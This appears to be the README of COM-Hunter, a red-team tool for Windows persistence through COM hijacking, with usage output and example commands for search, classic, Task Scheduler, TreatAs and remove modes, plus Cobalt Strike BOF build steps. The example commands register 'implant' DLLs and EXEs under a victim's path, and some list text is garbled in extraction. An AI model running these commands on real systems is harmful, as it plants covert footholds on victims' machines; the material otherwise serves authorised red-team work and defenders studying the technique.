
Windows COM hijacking persistence tool with search, classic, Task Scheduler, and TreatAs modes. Available as .NET executable and Cobalt Strike BOF for red team operations.
COM Hijacking VOODOO

COM-Hunter is a COM Hijacking persistence tool.
Available in both a .NET version and a BOF variant fully compatible with Cobalt Strike.
The following list explains the available modes:
LocalServer32, InprocServer32, and registry entries under both HKLM and HKCU.LocalServer32 or InprocServer32.LocalServer32 or InprocServer32.LocalServer32 or InprocServer32.LocalServer32, InprocServer32, and related registry entries under both and .ℹ️ This tool has been selected and it is proudly part of the Cobalt Strike Community Kit.
If you find any bugs, don’t hesitate to report them. Your feedback is valuable in improving the quality of this project!
The authors and contributors of this project are not liable for any illegal use of the tool. It is intended for educational purposes only. Users are responsible for ensuring lawful usage.
This project created with ❤️ by @nickvourd && @S1ckB0y1337.
Special thanks to my friend Marios Gyftos for his invaluable assistance during the beta testing phase of this tool.
Inspired by the RTO course from @zeropointsecltd.
BOF implementation inspired by Lefteris Panos and his awesome project, RegPersist.
The base.c and bofdefs.h files are direct copies from TrustedSec's CS-Situational-Awareness-BOF project.
██████╗ ██████╗ ███╗ ███╗ ██╗ ██╗██╗ ██╗███╗ ██╗████████╗███████╗██████╗
██╔════╝██╔═══██╗████╗ ████║ ██║ ██║██║ ██║████╗ ██║╚══██╔══╝██╔════╝██╔══██╗
██║ ██║ ██║██╔████╔██║█████╗███████║██║ ██║██╔██╗ ██║ ██║ █████╗ ██████╔╝
██║ ██║ ██║██║╚██╔╝██║╚════╝██╔══██║██║ ██║██║╚██╗██║ ██║ ██╔══╝ ██╔══██╗
╚██████╗╚██████╔╝██║ ╚═╝ ██║ ██║ ██║╚██████╔╝██║ ╚████║ ██║ ███████╗██║ ██║
╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═╝ ╚══════╝╚═╝ ╚═╝
Version: 3.0
@nickvourd && @S1ckB0y1337
~ Inspired during the RTO course by @zeropointsecltd ~
Usage: COM_Hunter.exe <mode> <options>
[+] Available Modes:
search Search Mode
persist Classic Persist Mode
tasksch Task Scheduler Mode
treatas TreatAs Mode
remove Remove Mode
[+] Search Mode:
Usage: COM-Hunter.exe search <CLSID> <options>
-a, --all Search DLL and EXE implementations in HKLM and HKCU
-i, --inprocserver32 Search DLL implementations in HKLM and HKCU
-l, --localserver32 Search EXE implementations in HKLM and HKCU
-m, --machine Search DLL and EXE implementations in HKLM
-u, --user Search DLL and EXE implementations in HKCU
[+] Classic Persist Mode:
Usage: COM-Hunter.exe persist <CLSID> <binary_path> <option>
-i, --inprocserver32 Set DLL implementation
-l, --localserver32 Set EXE implementation
[+] Task Scheduler Mode:
Usage: COM-Hunter.exe tasksch <binary_path> <option>
-i, --inprocserver32 Set DLL implementation
-l, --localserver32 Set EXE implementation
[+] TreatAs Mode:
Usage: COM-Hunter.exe treatas <CLSID> <fake_CLSID> <binary_path> <option>
-i, --inprocserver32 Set DLL implementation
-l, --localserver32 Set EXE implementation
[+] Remove Mode:
Usage: COM-Hunter.exe remove <CLSID> <options>
-a, --all Remove DLL and EXE implementations in HKLM and HKCU
-i, --inprocserver32 Remove DLL implementations in HKLM and HKCU
-l, --localserver32 Remove EXE implementations in HKLM and HKCU
-m, --machine Remove DLL and EXE implementations in HKLM
-u, --user Remove DLL and EXE implementations in HKCU
ℹ️ Search DLL and EXE implementations in HKLM and HKCU:
.\COM-Hunter.exe search 01575CFE-9A55-4003-A5E1-F38D1EBDCBE1 -a
ℹ️ Search EXE implementations in HKLM and HKCU:
.\COM-Hunter.exe search "{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" -l
ℹ️ Advanced search EXE implementations in HKLM:
.\COM-Hunter.exe search "{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" -l --machine
ℹ️ Search EXE and DLL implementations in HKCU:
.\COM-Hunter.exe search AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 --user
ℹ️ Perform classic persistence using DLL implementation:
.\COM-Hunter.exe persist AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 C:\Users\victim\Desktop\implant.dll -i
ℹ️ Perform classic persistence using EXE implementation:
.\COM-Hunter.exe persist "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" C:\Users\victim\Desktop\implant.exe --localserver32
ℹ️ Perform persistence via Task Scheduler using DLL implementation:
.\COM-Hunter.exe tasksch C:\Users\victim\Desktop\implant.dll --inprocserver32
ℹ️ Perform persistence via the TreatAs registry key and a fake (forwardable) CLSID using DLL implementation:
.\COM-Hunter.exe treatas AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 "{00000012-1312-1997-2605-F38D1EBDCBE1}" C:\Users\victim\Desktop\implant.dll -i
ℹ️ Remove DLL implementation persistence in HKCU using:
.\COM-Hunter.exe remove AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 -i -u
ℹ️ Required MinGW-w64 toolchain (x86_64-w64-mingw32-gcc and i686-w64-mingw32-gcc)
ℹ️ Compile the BOF objects for both architectures:
./make_all.sh
This will:
com_hunter_* directories.com_hunter_*.x64.o and com_hunter_*.x86.o.com_hunter_*/ directories.ℹ️ After compiling the BOF modules, simply load com_hunter_bof.cna into Cobalt Strike.
ℹ️ To clean build artifacts, go into evary src directory and execute:
make clean
HKLMHKCU